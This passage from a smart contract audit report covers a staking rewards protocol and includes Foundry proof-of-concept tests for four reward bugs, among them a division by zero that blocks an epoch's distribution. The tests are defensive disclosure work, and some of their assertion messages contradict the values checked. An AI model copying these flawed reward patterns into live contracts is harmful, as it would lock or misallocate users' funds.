        vm.warp((epoch + 3) * middleware.EPOCH_DURATION());

        // Distribute rewards
        vm.prank(REWARDS_DISTRIBUTOR);
        rewards.distributeRewards(epoch, 2);

        // Get calculated shares
        uint256 operatorABeneficiariesShare = rewards.operatorBeneficiariesShares(epoch, OPERATOR_A);
        uint256 operatorBBeneficiariesShare = rewards.operatorBeneficiariesShares(epoch, OPERATOR_B);

        uint256 vault1Share = rewards.vaultShares(epoch, vault1);
        uint256 vault2Share = rewards.vaultShares(epoch, vault2);
        uint256 vault3Share = rewards.vaultShares(epoch, vault3);

        console2.log("=== RESULTS ===");
        console2.log("operatorBeneficiariesShares[OPERATOR_A] =", operatorABeneficiariesShare, "basis
        ↪  points");
        console2.log("vaultShares[vault_1] =", vault1Share, "basis points");
        console2.log("operatorBeneficiariesShares[OPERATOR_B] =", operatorBBeneficiariesShare, "basis
        ↪  points");
        console2.log("vaultShares[vault_2] =", vault2Share, "basis points");
        console2.log("vaultShares[vault_3] =", vault3Share, "basis points");

        // Expected: 30% stake * 50% asset class = 15% = 1500 basis points
        assertEq(operatorABeneficiariesShare, 1500,
            "Operator share should be 1500 basis points (15%)");
        assertEq(vault1Share, 5000,
            "Vault share should be 5000 basis points (7.5% + 42.5)");

        assertEq(operatorBBeneficiariesShare, 8500,
            "Operator share should be 9500 basis points (85%)"); //  (700/1000)  50%  +  (100/100)  20%
            ↪   + (100/100)  30% = 85%
        assertEq(vault2Share, 1700,
            "Vault share should be 1700 basis points (19%)");
            // vaultShare = (100 / 100) * 10,000 = 10,000 bp
            // vaultShare = 10,000 * 2,000 / 10,000 = 2,000 bp (vaultShare * assetClassShare / 10000)
            // vaultShare = 2,000 * 8,500 / 10,000 = 1,700 bp (vaultShare * operatorShare / 10000)

         assertEq(vault3Share, 2550,
            "Vault share should be 2550 basis points (28.5%)");
            // vaultShare = (100 / 100) * 10,000 = 10,000 bp
            // vaultShare = 10,000 * 3,000/10,000 = 3,000 bp (vaultShare * assetClassShare / 10000)
            // vaultShare = 3,000 * 8,500/10,000 = 2,550 bp (vaultShare * operatorShare / 10000)


    }
}
```

Recommended Mitigation: Consider implementing a per-asset class operator shares instead of total operator shares. The `operatorBeneficiariesShare` should be more granular and asset-id specific to prevent this leakage. Corresponding logic in `_calculateOperatorShare` and `_calculateAndStoreVaultShares` should be adjusted specific to each assetID.

```
// Add per-asset-class tracking
mapping(uint48 epoch => mapping(address operator => mapping(uint96 assetClass => uint256 share)))
    public operatorBeneficiariesSharesPerAssetClass;
```

Suzaku: Fixed in commit f9bfdf7.

Cyfrin: Verified.

7.2.8 Not all reward token rewards are claimable

Description: The `lastEpochClaimedStaker`, `lastEpochClaimedCurator` and `lastEpochClaimedOperator` mappings in the `Rewards` contract track the last epoch for which a staker/curator/operator has claimed rewards, but it is keyed only by the staker's/curator's/operator's address and not by the reward token. This means that when a staker/curator/operator claims rewards for a given epoch and reward token, the contract updates the mappings for all tokens, not just the one claimed. As a result, if a staker/curator/operator is eligible for rewards from multiple tokens for the same epoch(s), claiming rewards for one token will prevent them from claiming rewards for the others for those epochs.

Impact: Stakers/curators/operators who are eligible to receive rewards in multiple tokens for the same epoch(s) will only be able to claim rewards for one token. Once they claim for one token, the contract will mark all those epochs as claimed, making it impossible to claim the rewards for the other tokens. This leads to loss of rewards for stakers/curators/operators and breaks the expected behavior of multi-token reward distribution.

Proof of Concept:

1. Change the `_setupStakes` function in the `RewardsTest.t.sol` file:

```
// Sets up stakes for all operators in a given epoch
function _setupStakes(uint48 epoch, uint256 uptime) internal {
    address[] memory operators = middleware.getAllOperators();
    uint256 timestamp = middleware.getEpochStartTs(epoch);

    // Define operator stake percentages (must sum to 100%)
    uint256[] memory operatorPercentages = new uint256[](10);
    operatorPercentages[0] = 10;
    operatorPercentages[1] = 10;
    operatorPercentages[2] = 10;
    operatorPercentages[3] = 10;
    operatorPercentages[4] = 10;
    operatorPercentages[5] = 10;
    operatorPercentages[6] = 10;
    operatorPercentages[7] = 10;
    operatorPercentages[8] = 10;
    operatorPercentages[9] = 10;

    uint256 totalStakePerClass = 3_000_000 ether;

    // Track total stakes for each asset class
    uint256[] memory totalStakes = new uint256[](3); // [primary, secondary1, secondary2]

    for (uint256 i = 0; i < operators.length; i++) {
        address operator = operators[i];
        uint256 operatorStake = (totalStakePerClass * operatorPercentages[i]) / 100;
        uint256 stakePerNode = operatorStake / middleware.getOperatorNodes(operator).length;

        _setupOperatorStakes(epoch, operator, operatorStake, stakePerNode, totalStakes);
        _setupVaultDelegations(epoch, operator, operatorStake, timestamp);
        uptimeTracker.setOperatorUptimePerEpoch(epoch, operator, uptime);
    }

    // Set total stakes in L1 middleware
```

```
    middleware.setTotalStakeCache(epoch, 1, totalStakes[0]);
    middleware.setTotalStakeCache(epoch, 2, totalStakes[1]);
    middleware.setTotalStakeCache(epoch, 3, totalStakes[2]);
}

// Sets up stakes for a single operator's nodes and asset classes
function _setupOperatorStakes(
    uint48 epoch,
    address operator,
    uint256 operatorStake,
    uint256 stakePerNode,
    uint256[] memory totalStakes
) internal {
    bytes32[] memory operatorNodes = middleware.getOperatorNodes(operator);
    for (uint256 j = 0; j < operatorNodes.length; j++) {
        middleware.setNodeStake(epoch, operatorNodes[j], stakePerNode);
        totalStakes[0] += stakePerNode; // Primary stake
    }
    middleware.setOperatorStake(epoch, operator, 2, operatorStake);
    middleware.setOperatorStake(epoch, operator, 3, operatorStake);
    totalStakes[1] += operatorStake; // Secondary stake 1
    totalStakes[2] += operatorStake; // Secondary stake 2
}

// Sets up vault delegations for a single operator
function _setupVaultDelegations(
    uint48 epoch,
    address operator,
    uint256 operatorStake,
    uint256 timestamp
) internal {
    for (uint256 j = 0; j < delegators.length; j++) {
        delegators[j].setStake(
            middleware.L1_VALIDATOR_MANAGER(),
            uint96(j + 1),
            operator,
            uint48(timestamp),
            operatorStake
        );
    }
}
```

2. Add the following tests to the `RewardsTest.t.sol` file:

```
function test_claimRewards_multipleTokens_staker() public {
    // Deploy a second reward token
    ERC20Mock rewardsToken2 = new ERC20Mock();
    rewardsToken2.mint(REWARDS_DISTRIBUTOR_ROLE, 1_000_000 * 10 ** 18);
    vm.prank(REWARDS_DISTRIBUTOR_ROLE);
    rewardsToken2.approve(address(rewards), 1_000_000 * 10 ** 18);
    uint48 startEpoch = 1;
    uint48 numberOfEpochs = 3;
    uint256 rewardsAmount = 100_000 * 10 ** 18;

    // Set rewards for both tokens
    vm.startPrank(REWARDS_DISTRIBUTOR_ROLE);
    rewards.setRewardsAmountForEpochs(startEpoch, numberOfEpochs, address(rewardsToken2),
    ↪  rewardsAmount);
    vm.stopPrank();

    // Setup staker
    address staker = makeAddr("Staker");
```

```
    address vault = vaultManager.vaults(0);
    uint256 epochTs = middleware.getEpochStartTs(startEpoch);
    MockVault(vault).setActiveBalance(staker, 300_000 * 1e18);
    MockVault(vault).setTotalActiveShares(uint48(epochTs), 400_000 * 1e18);

    // Distribute rewards for epochs 1 to 3
    for (uint48 epoch = startEpoch; epoch < startEpoch + numberOfEpochs; epoch++) {
        _setupStakes(epoch, 4 hours);
        vm.warp((epoch + 3) * middleware.EPOCH_DURATION());
        address[] memory operators = middleware.getAllOperators();
        vm.prank(REWARDS_DISTRIBUTOR_ROLE);
        rewards.distributeRewards(epoch, uint48(operators.length));
    }

    // Warp to epoch 4
    vm.warp((startEpoch + numberOfEpochs) * middleware.EPOCH_DURATION());

    // Claim for rewardsToken (should succeed)
    vm.prank(staker);
    rewards.claimRewards(address(rewardsToken), staker);
    assertGt(rewardsToken.balanceOf(staker), 0, "Staker should receive rewardsToken");

    // Try to claim for rewardsToken2 (should revert)
    vm.prank(staker);
    vm.expectRevert(abi.encodeWithSelector(IRewards.AlreadyClaimedForLatestEpoch.selector, staker,
    ↪  numberOfEpochs));
    rewards.claimRewards(address(rewardsToken2), staker);
}

function test_claimOperatorFee_multipleTokens_operator() public {
    // Deploy a second reward token
    ERC20Mock rewardsToken2 = new ERC20Mock();
    rewardsToken2.mint(REWARDS_DISTRIBUTOR_ROLE, 1_000_000 * 10 ** 18);
    vm.prank(REWARDS_DISTRIBUTOR_ROLE);
    rewardsToken2.approve(address(rewards), 1_000_000 * 10 ** 18);

    uint48 startEpoch = 1;
    uint48 numberOfEpochs = 3;
    uint256 rewardsAmount = 100_000 * 10 ** 18;

    // Set rewards for both tokens
    vm.startPrank(REWARDS_DISTRIBUTOR_ROLE);
    rewards.setRewardsAmountForEpochs(startEpoch, numberOfEpochs, address(rewardsToken2),
    ↪  rewardsAmount);
    vm.stopPrank();

    // Distribute rewards for epochs 1 to 3
    for (uint48 epoch = startEpoch; epoch < startEpoch + numberOfEpochs; epoch++) {
        _setupStakes(epoch, 4 hours);
        vm.warp((epoch + 3) * middleware.EPOCH_DURATION());
        address[] memory operators = middleware.getAllOperators();
        vm.prank(REWARDS_DISTRIBUTOR_ROLE);
        rewards.distributeRewards(epoch, uint48(operators.length));
    }

    // Warp to epoch 4
    vm.warp((startEpoch + numberOfEpochs) * middleware.EPOCH_DURATION());

    address operator = middleware.getAllOperators()[0];

    // Claim for rewardsToken (should succeed)
    vm.prank(operator);
```

```
    rewards.claimOperatorFee(address(rewardsToken), operator);
    assertGt(rewardsToken.balanceOf(operator), 0, "Operator should receive rewardsToken");

    // Try to claim for rewardsToken2 (should revert)
    vm.prank(operator);
    vm.expectRevert(abi.encodeWithSelector(IRewards.AlreadyClaimedForLatestEpoch.selector, operator,
    ↪  numberOfEpochs));
    rewards.claimOperatorFee(address(rewardsToken2), operator);
}

function test_claimCuratorFee_multipleTokens_curator() public {
    // Deploy a second reward token
    ERC20Mock rewardsToken2 = new ERC20Mock();
    rewardsToken2.mint(REWARDS_DISTRIBUTOR_ROLE, 1_000_000 * 10 ** 18);
    vm.prank(REWARDS_DISTRIBUTOR_ROLE);
    rewardsToken2.approve(address(rewards), 1_000_000 * 10 ** 18);

    uint48 startEpoch = 1;
    uint48 numberOfEpochs = 3;
    uint256 rewardsAmount = 100_000 * 10 ** 18;

    // Set rewards for both tokens
    vm.startPrank(REWARDS_DISTRIBUTOR_ROLE);
    rewards.setRewardsAmountForEpochs(startEpoch, numberOfEpochs, address(rewardsToken2),
    ↪  rewardsAmount);
    vm.stopPrank();

    // Distribute rewards for epochs 1 to 3
    for (uint48 epoch = startEpoch; epoch < startEpoch + numberOfEpochs; epoch++) {
        _setupStakes(epoch, 4 hours);
        vm.warp((epoch + 3) * middleware.EPOCH_DURATION());
        address[] memory operators = middleware.getAllOperators();
        vm.prank(REWARDS_DISTRIBUTOR_ROLE);
        rewards.distributeRewards(epoch, uint48(operators.length));
    }

    // Warp to epoch 4
    vm.warp((startEpoch + numberOfEpochs) * middleware.EPOCH_DURATION());

    address vault = vaultManager.vaults(0);
    address curator = MockVault(vault).owner();

    // Claim for rewardsToken (should succeed)
    vm.prank(curator);
    rewards.claimCuratorFee(address(rewardsToken), curator);
    assertGt(rewardsToken.balanceOf(curator), 0, "Curator should receive rewardsToken");

    // Try to claim for rewardsToken2 (should revert)
    vm.prank(curator);
    vm.expectRevert(abi.encodeWithSelector(IRewards.AlreadyClaimedForLatestEpoch.selector, curator,
    ↪  numberOfEpochs));
    rewards.claimCuratorFee(address(rewardsToken2), curator);
}
```

Recommended Mitigation: Change the `lastEpochClaimedStaker`, `lastEpochClaimedCurator` and `lastEpochClaimedOperator` mappings to be keyed by both the user address and the reward token, for example:

```
mapping(address staker => mapping(address rewardToken => uint48 epoch)) public lastEpochClaimedStaker;
mapping(address curator => mapping(address rewardToken => uint48 epoch)) public lastEpochClaimedCurator;
mapping(address operator => mapping(address rewardToken => uint48 epoch)) public
↪  lastEpochClaimedOperator;
```

Update all relevant logic in the `claimRewards` function and elsewhere to use this new mapping structure, ensuring that claims are tracked separately for each reward token.

Suzaku: Fixed in commit 43e09e6.

Cyfrin: Verified.

7.2.9 Division by zero in rewards distribution can cause permanent lock of epoch rewards

Description: In the `Rewards::_calculateOperatorShare()` function, the system fetches the current list of asset classes but attempts to calculate rewards for a historical epoch:

```
function _calculateOperatorShare(uint48 epoch, address operator) internal {
    // ... uptime checks ...

    uint96[] memory assetClasses = l1Middleware.getAssetClassIds(); // @audit Gets CURRENT asset classes
    for (uint256 i = 0; i < assetClasses.length; i++) {
        uint256 operatorStake = l1Middleware.getOperatorUsedStakeCachedPerEpoch(epoch, operator,
        ↪  assetClasses[i]);
        uint256 totalStake = l1Middleware.totalStakeCache(epoch, assetClasses[i]); // @audit past epoch
        uint16 assetClassShare = rewardsSharePerAssetClass[assetClasses[i]];

        uint256 shareForClass = Math.mulDiv(
            Math.mulDiv(operatorStake, BASIS_POINTS_DENOMINATOR, totalStake), // ← DIVISION BY ZERO
            assetClassShare,
            BASIS_POINTS_DENOMINATOR
        );
        totalShare += shareForClass;
    }
}
```

This creates a mismatch where:

- Deactivated asset classes remain in the returned array but have zero total stake
- Newly added asset classes are included but have no historical stake data for past epochs
- Asset classes with zero stake for any reason cause division by zero

Consider following scenario:

```
- Epoch N: Normal operations, operators earn rewards, rewards distribution pending
- Epoch N+1: Protocol admin legitimately adds a new asset class for future growth
- Epoch N+2: New asset class is activated and configured with rewards share
- Epoch N+3: When attempting to distribute rewards for Epoch N, the system:

- Fetches current asset classes (including the new one)
- Attempts to get totalStakeCache[N][newAssetClass] which is 0
- Triggers division by zero in Math.mulDiv(), causing transaction revert
```

Similar division by zero checks are also missing in `_calculateAndStoreVaultShares` when `operatorActiveStake == 0`.

Impact: Adding a new asset class ID, deactivating or migrating an existing asset class ID or simply having zero stake for a specific assetClassId (though unlikely with minimum stake requirement but this is not enforced actively) are all instances where reward distribution can be permanently DOSed for a specific epoch.

Proof of Concept: Note: Test needs following changes to `MockAvalancheL1Middleware.sol`:

```
uint96[] private assetClassIds = [1, 2, 3]; // Initialize with default asset classes

   function setAssetClassIds(uint96[] memory newAssetClassIds) external {
       // Clear existing array
       delete assetClassIds;
```

```
        // Copy new asset class IDs
        for (uint256 i = 0; i < newAssetClassIds.length; i++) {
            assetClassIds.push(newAssetClassIds[i]);
        }
    }

    function getAssetClassIds() external view returns (uint96[] memory) {
        return assetClassIds;
    }  //@audit this function is overwritten
```

Copy following test to `RewardsTest.t.sol`:

```
    function test_RewardsDistribution_DivisionByZero_NewAssetClass() public {
    uint48 epoch = 1;
    _setupStakes(epoch, 4 hours);

    vm.warp((epoch + 1) * middleware.EPOCH_DURATION());

    // Add a new asset class (4) after epoch 1 has passed
    uint96 newAssetClass = 4;
    uint96[] memory currentAssetClasses = middleware.getAssetClassIds();
    uint96[] memory newAssetClasses = new uint96[](currentAssetClasses.length + 1);
    for (uint256 i = 0; i < currentAssetClasses.length; i++) {
        newAssetClasses[i] = currentAssetClasses[i];
    }
    newAssetClasses[currentAssetClasses.length] = newAssetClass;

    // Update the middleware to return the new asset class list
    middleware.setAssetClassIds(newAssetClasses);

    // Set rewards share for the new asset class
    vm.prank(REWARDS_MANAGER_ROLE);
    rewards.setRewardsShareForAssetClass(newAssetClass, 1000); // 10%

     // distribute rewards
     vm.warp((epoch + 2) * middleware.EPOCH_DURATION());
    assertEq(middleware.totalStakeCache(epoch, newAssetClass), 0, "New asset class should have zero
    ↪  stake for historical epoch 1");

    vm.prank(REWARDS_DISTRIBUTOR_ROLE);
    vm.expectRevert(); // Division by zero in Math.mulDiv when totalStake = 0
    rewards.distributeRewards(epoch, 1);
}
```

Recommended Mitigation: Consider adding division by zero checks and simply move to the next asset if `total stake == 0` for a given assetClassId. Also add zero checks to `operatorActiveStake == 0` when calculating `vaultShare`

Suzaku: Fixed in commit 9ac7bf0.

Cyfrin: Verified.

7.2.10 Inaccurate uptime distribution in `UptimeTracker::computeValidatorUptime` leads to reward discrepancies

Description: The `UptimeTracker::computeValidatorUptime` function calculates a validator's uptime by evenly distributing the total recorded uptime across all epochs between the last checkpoint and the current epoch. However, it does not verify whether the validator was actually active during each of those epochs. As a result, uptime may be incorrectly attributed to epochs where the validator was offline or inactive.

This flaw becomes significant when the uptime data is used by the `Rewards` contract to determine validator rewards. Since reward values can differ substantially between epochs, attributing uptime to the wrong epochs can misrepresent a validator's actual contribution. For instance, if a validator was active for 4 hours in epoch 2 (which has a higher reward rate) but the uptime is split equally between epoch 1 (lower rewards) and epoch 2, the validator's reward calculation will not reflect their true activity, leading to inaccurate reward distribution.

Impact:

- **Financial Loss for Validators:** Validators may receive fewer rewards than they deserve if their uptime is credited to epochs with lower reward rates instead of the epochs where they were genuinely active.
- **Unfair Reward Distribution:** The system could inadvertently reward validators for epochs in which they were not active, potentially encouraging exploitative behavior or penalizing honest participants.
- **Reduced System Integrity:** Inaccurate uptime tracking erodes trust in the reward mechanism, as validators and users may question the fairness and reliability of the platform.

Proof of Concept:

1. Add the following lines to the `MockWarpMessenger.sol` file:

```
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.25;

import {
    IWarpMessenger,
    WarpMessage,
    WarpBlockHash
} from "@avalabs/subnet-evm-contracts@1.2.0/contracts/interfaces/IWarpMessenger.sol";
import {ValidatorMessages} from "@avalabs/icm-contracts/validator-manager/ValidatorMessages.sol";

contract MockWarpMessenger is IWarpMessenger {
    // Constants for uptime values from tests
    uint64 constant TWO_HOURS = 2 * 60 * 60;
    uint64 constant THREE_HOURS = 3 * 60 * 60;
    uint64 constant ONE_HOUR = 1 * 60 * 60;
    uint64 constant FOUR_HOURS = 4 * 60 * 60;
    uint64 constant FIVE_HOURS = 5 * 60 * 60;
    uint64 constant SEVEN_HOURS = 7 * 60 * 60;
    uint64 constant SIX_HOURS = 6 * 60 * 60;
    uint64 constant TWELVE_HOURS = 12 * 60 * 60;
    uint64 constant ZERO_HOURS = 0;

    // Hardcoded full node IDs based on previous test traces/deterministic generation
    // These values MUST match what operatorNodes would be in UptimeTrackerTest.setUp()
    // from your MockAvalancheL1Middleware.
    // If MockAvalancheL1Middleware changes its node generation, these must be updated.
    bytes32 constant OP_NODE_0_FULL =
    ↪  0xe917244df122a1996142a1cd6c7269c136c20f47acd1ff079ee7247cae2f45c5;
    bytes32 constant OP_NODE_1_FULL =
    ↪  0x69e183f32216866f48b0c092f70d99378e18023f7185e52eeee2f5bbd5255293;
    bytes32 constant OP_NODE_2_FULL =
    ↪  0xfcc09d5775472c6fa988b216f5ce189894c14e093527f732b9b65da0880b5f81;

    // Constructor is now empty as we are not storing operatorNodes passed from test.
    // constructor() {} // Can be omitted for an empty constructor

    function getDerivedValidationID(bytes32 fullNodeID) internal pure returns (bytes32) {
        // Corrected conversion: bytes32 -> uint256 -> uint160 -> uint256 -> bytes32
        return bytes32(uint256(uint160(uint256(fullNodeID))));
    }

    function getVerifiedWarpMessage(
```

```
        uint32 messageIndex
    ) external view override returns (WarpMessage memory, bool) {
        // The 'require' for _operatorNodes.length is removed.

        bytes32 derivedNode0ID = getDerivedValidationID(OP_NODE_0_FULL);
        bytes32 derivedNode1ID = getDerivedValidationID(OP_NODE_1_FULL);
        bytes32 derivedNode2ID = getDerivedValidationID(OP_NODE_2_FULL);
        bytes memory payload;

        // test_ComputeValidatorUptime & test_ValidatorUptimeEvent
        if (messageIndex == 0) {
            payload = ValidatorMessages.packValidationUptimeMessage(derivedNode0ID, TWO_HOURS);
        } else if (messageIndex == 1) {
            payload = ValidatorMessages.packValidationUptimeMessage(derivedNode0ID, THREE_HOURS);
        }
        // test_ComputeOperatorUptime - first epoch (0) & test_OperatorUptimeEvent
        else if (messageIndex == 2) {
            payload = ValidatorMessages.packValidationUptimeMessage(derivedNode0ID, TWO_HOURS);
        } else if (messageIndex == 3) {
            payload = ValidatorMessages.packValidationUptimeMessage(derivedNode1ID, THREE_HOURS);
        } else if (messageIndex == 4) {
            payload = ValidatorMessages.packValidationUptimeMessage(derivedNode2ID, ONE_HOUR);
        }
        // test_ComputeOperatorUptime - second epoch (1)
        else if (messageIndex == 5) {
            payload = ValidatorMessages.packValidationUptimeMessage(derivedNode0ID, FOUR_HOURS);
        } else if (messageIndex == 6) {
            payload = ValidatorMessages.packValidationUptimeMessage(derivedNode1ID, FOUR_HOURS);
        } else if (messageIndex == 7) {
            payload = ValidatorMessages.packValidationUptimeMessage(derivedNode2ID, FOUR_HOURS);
        }
        // test_ComputeOperatorUptime - third epoch (2)
        else if (messageIndex == 8) {
            payload = ValidatorMessages.packValidationUptimeMessage(derivedNode0ID, FIVE_HOURS);
        } else if (messageIndex == 9) {
            payload = ValidatorMessages.packValidationUptimeMessage(derivedNode1ID, SEVEN_HOURS);
        } else if (messageIndex == 10) {
            payload = ValidatorMessages.packValidationUptimeMessage(derivedNode2ID, SIX_HOURS);
        }
        // test_EdgeCases
        else if (messageIndex == 11) {
            payload = ValidatorMessages.packValidationUptimeMessage(derivedNode0ID, FOUR_HOURS); //
            ↪  EPOCH_DURATION
        } else if (messageIndex == 12) {
            payload = ValidatorMessages.packValidationUptimeMessage(derivedNode1ID, ZERO_HOURS);
        } else if (messageIndex == 13) {
            payload = ValidatorMessages.packValidationUptimeMessage(derivedNode0ID, TWELVE_HOURS); // 3
            ↪  * EPOCH_DURATION
+       } else if (messageIndex == 14) {
+           payload = ValidatorMessages.packValidationUptimeMessage(derivedNode0ID, ZERO_HOURS);
+       } else if (messageIndex == 15) {
+           payload = ValidatorMessages.packValidationUptimeMessage(derivedNode2ID, ZERO_HOURS);
+       } else if (messageIndex == 16) {
+           payload = ValidatorMessages.packValidationUptimeMessage(derivedNode0ID, FOUR_HOURS);
+       } else if (messageIndex == 17) {
+           payload = ValidatorMessages.packValidationUptimeMessage(derivedNode2ID, FOUR_HOURS);
        } else {
            return (WarpMessage({sourceChainID: bytes32(uint256(1)), originSenderAddress: address(0),
            ↪  payload: new bytes(0)}), false);
        }

        return (
```

```
            WarpMessage({
                sourceChainID: bytes32(uint256(1)),
                originSenderAddress: address(0),
                payload: payload
            }),
            true
        );
    }

    function sendWarpMessage(
        bytes memory // message
    ) external pure override returns (bytes32) { // messageID
        return bytes32(0);
    }

    function getBlockchainID() external pure override returns (bytes32) {
        return bytes32(uint256(1));
    }

    function getVerifiedWarpBlockHash(
        uint32 // messageIndex
    ) external pure override returns (WarpBlockHash memory warpBlockHash, bool valid) {
        warpBlockHash = WarpBlockHash({sourceChainID: bytes32(uint256(1)), blockHash: bytes32(0)});
        valid = true;
    }
}
```

2. Update the `UptimeTrackerTest.t.sol` file:

```
// SPDX-License-Identifier: MIT
// SPDX-FileCopyrightText: Copyright 2024 ADDPHO
pragma solidity 0.8.25;

import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {UptimeTracker} from "../../src/contracts/rewards/UptimeTracker.sol";
import {IUptimeTracker, LastUptimeCheckpoint} from "../../src/interfaces/rewards/IUptimeTracker.sol";
import {ValidatorMessages} from "@avalabs/icm-contracts/validator-manager/ValidatorMessages.sol";
import {MockAvalancheL1Middleware} from "../mocks/MockAvalancheL1Middleware.sol";
import {MockBalancerValidatorManager} from "../mocks/MockBalancerValidatorManager2.sol";
import {MockWarpMessenger} from "../mocks/MockWarpMessenger.sol";
import {WarpMessage, IWarpMessenger} from
↪  "@avalabs/subnet-evm-contracts@1.2.0/contracts/interfaces/IWarpMessenger.sol";
import {Rewards} from "../../src/contracts/rewards/Rewards.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";

contract UptimeTrackerTest is Test {
    UptimeTracker public uptimeTracker;
    MockBalancerValidatorManager public validatorManager;
    MockAvalancheL1Middleware public middleware;
    MockWarpMessenger public warpMessenger;
+    Rewards public rewards;
+    ERC20Mock public rewardsToken;

    address public operator;
    bytes32[] public operatorNodes;
    uint48 constant EPOCH_DURATION = 4 hours;
    address constant WARP_MESSENGER_ADDR = 0x0200000000000000000000000000000000000005;
    bytes32 constant L1_CHAIN_ID = bytes32(uint256(1));
+    address constant ADMIN = address(0x1);
+    address constant REWARDS_DISTRIBUTOR = address(0x2);
```

```
    event ValidatorUptimeComputed(bytes32 indexed validationID, uint48 indexed firstEpoch, uint256
    ↪  uptimeSecondsAdded, uint256 numberOfEpochs);
    event OperatorUptimeComputed(address indexed operator, uint48 indexed epoch, uint256 uptime);

    function getDerivedValidationID(bytes32 fullNodeID) internal pure returns (bytes32) {
        return bytes32(uint256(uint160(uint256(fullNodeID))));
    }

    function setUp() public {
        uint256[] memory nodesPerOperator = new uint256[](1);
        nodesPerOperator[0] = 3;

        validatorManager = new MockBalancerValidatorManager();
        middleware = new MockAvalancheL1Middleware(1, nodesPerOperator, address(validatorManager),
        ↪  address(0));
        uptimeTracker = new UptimeTracker(payable(address(middleware)), L1_CHAIN_ID);

        operator = middleware.getAllOperators()[0];
        operatorNodes = middleware.getActiveNodesForEpoch(operator, 0);

        warpMessenger = new MockWarpMessenger();
        vm.etch(WARP_MESSENGER_ADDR, address(warpMessenger).code);

+       rewards = new Rewards();
+       rewards.initialize(
+           ADMIN,
+           ADMIN,
+           payable(address(middleware)),
+           address(uptimeTracker),
+           1000, // protocolFee
+           2000, // operatorFee
+           1000, // curatorFee
+           11_520 // minRequiredUptime
+       );
+       vm.prank(ADMIN);
+       rewards.setRewardsDistributorRole(REWARDS_DISTRIBUTOR);

+       rewardsToken = new ERC20Mock();
+       rewardsToken.mint(REWARDS_DISTRIBUTOR, 1_000_000 * 10**18);
+       vm.prank(REWARDS_DISTRIBUTOR);
+       rewardsToken.approve(address(rewards), 1_000_000 * 10**18);
    }

    ...
}
```

3. Add the following test to the `UptimeTrackerTest.t.sol` file:

```
function test_IncorrectUptimeDistributionWithRewards() public {
    bytes32 derivedNode1ID = getDerivedValidationID(operatorNodes[1]);

    // Warp to epoch 1
    vm.warp(EPOCH_DURATION + 1);
    uptimeTracker.computeValidatorUptime(14); // uptime = 0 hours, node 0
    uptimeTracker.computeValidatorUptime(12); // uptime = 0 hours, node 1
    uptimeTracker.computeValidatorUptime(15); // uptime = 0 hours, node 2

    // Warp to epoch 3
    vm.warp(3 * EPOCH_DURATION + 1);
    uptimeTracker.computeValidatorUptime(16); // uptime = 4 hours, node 0
    uptimeTracker.computeValidatorUptime(6); // uptime = 4 hours, node 1
    uptimeTracker.computeValidatorUptime(17); // uptime = 4 hours, node 2
```

```
    // Check uptime distribution
    uint256 uptimeEpoch1 = uptimeTracker.validatorUptimePerEpoch(1, derivedNode1ID);
    uint256 uptimeEpoch2 = uptimeTracker.validatorUptimePerEpoch(2, derivedNode1ID);
    assertEq(uptimeEpoch1, 2 * 3600, "Epoch 1 uptime should be 2 hours");
    assertEq(uptimeEpoch2, 2 * 3600, "Epoch 2 uptime should be 2 hours");

    // Set different rewards for epochs 1 and 2
    uint48 startEpoch = 1;
    uint256 rewardsAmountEpoch1 = 10000 * 10**18;
    uint256 rewardsAmountEpoch2 = 20000 * 10**18;

    vm.startPrank(REWARDS_DISTRIBUTOR);
    rewards.setRewardsAmountForEpochs(startEpoch, 1, address(rewardsToken), rewardsAmountEpoch1);
    rewards.setRewardsAmountForEpochs(startEpoch + 1, 1, address(rewardsToken), rewardsAmountEpoch2);

    // Compute operator uptime
    uptimeTracker.computeOperatorUptimeAt(operator, 1);
    uptimeTracker.computeOperatorUptimeAt(operator, 2);

    // Distribute rewards
    vm.warp(5 * EPOCH_DURATION + 1);
    rewards.distributeRewards(1, 10);
    rewards.distributeRewards(2, 10);
    vm.stopPrank();

    // Set stakes for simplicity (assume operator has full stake)
    uint256 totalStake = 1000 * 10**18;
    middleware.setTotalStakeCache(1, 1, totalStake);
    middleware.setTotalStakeCache(2, 1, totalStake);
    middleware.setOperatorStake(1, operator, 1, totalStake);
    middleware.setOperatorStake(2, operator, 1, totalStake);

    vm.prank(ADMIN);
    rewards.setRewardsShareForAssetClass(1, 10000); // 100%
    vm.stopPrank();

    // Calculate expected rewards (active only in epoch 2)
    uint256 expectedUptimeEpoch1 = 0;
    uint256 expectedUptimeEpoch2 = 4 * 3600;
    uint256 totalUptimePerEpoch = 4 * 3600;
    uint256 expectedRewardsEpoch1 = (expectedUptimeEpoch1 * rewardsAmountEpoch1) / totalUptimePerEpoch;
    uint256 expectedRewardsEpoch2 = (expectedUptimeEpoch2 * rewardsAmountEpoch2) / totalUptimePerEpoch;
    uint256 totalExpectedRewards = expectedRewardsEpoch1 + expectedRewardsEpoch2;

    // Calculate actual rewards
    uint256 actualUptimeEpoch1 = uptimeEpoch1;
    uint256 actualUptimeEpoch2 = uptimeEpoch2;
    uint256 totalActualUptimePerEpoch = actualUptimeEpoch1 + actualUptimeEpoch2;
    uint256 actualRewardsEpoch1 = (actualUptimeEpoch1 * rewardsAmountEpoch1) /
    ↪  totalActualUptimePerEpoch;
    uint256 actualRewardsEpoch2 = (actualUptimeEpoch2 * rewardsAmountEpoch2) /
    ↪  totalActualUptimePerEpoch;
    uint256 totalActualRewards = actualRewardsEpoch1 + actualRewardsEpoch2;

    // Assert the discrepancy
    assertEq(totalActualUptimePerEpoch, totalUptimePerEpoch, "Total uptime in both cases is the same");
    assertLt(totalActualRewards, totalExpectedRewards, "Validator receives fewer rewards due to
    ↪  incorrect uptime distribution");
}
```

Recommended Mitigation: To resolve this vulnerability and ensure accurate uptime tracking and reward distribution, the following measures are recommended:

1. **Refine Uptime Attribution Logic:** Update the `computeValidatorUptime` function to attribute uptime only to epochs where the validator was confirmed active. This could involve cross-referencing validator activity logs or status flags to validate participation in each epoch.
2. **Implement Epoch-Specific Uptime Tracking:** Modify the contract to record and calculate uptime individually for each epoch, based on the validator's actual activity during that period. While this may require more detailed data storage, it ensures precision in uptime attribution.
3. **Integrate with Validator Activity Data:** If possible, connect the contract to external sources (e.g., oracles or on-chain activity records) that provide real-time or historical data on validator status. This would enable the system to accurately determine when a validator was active.

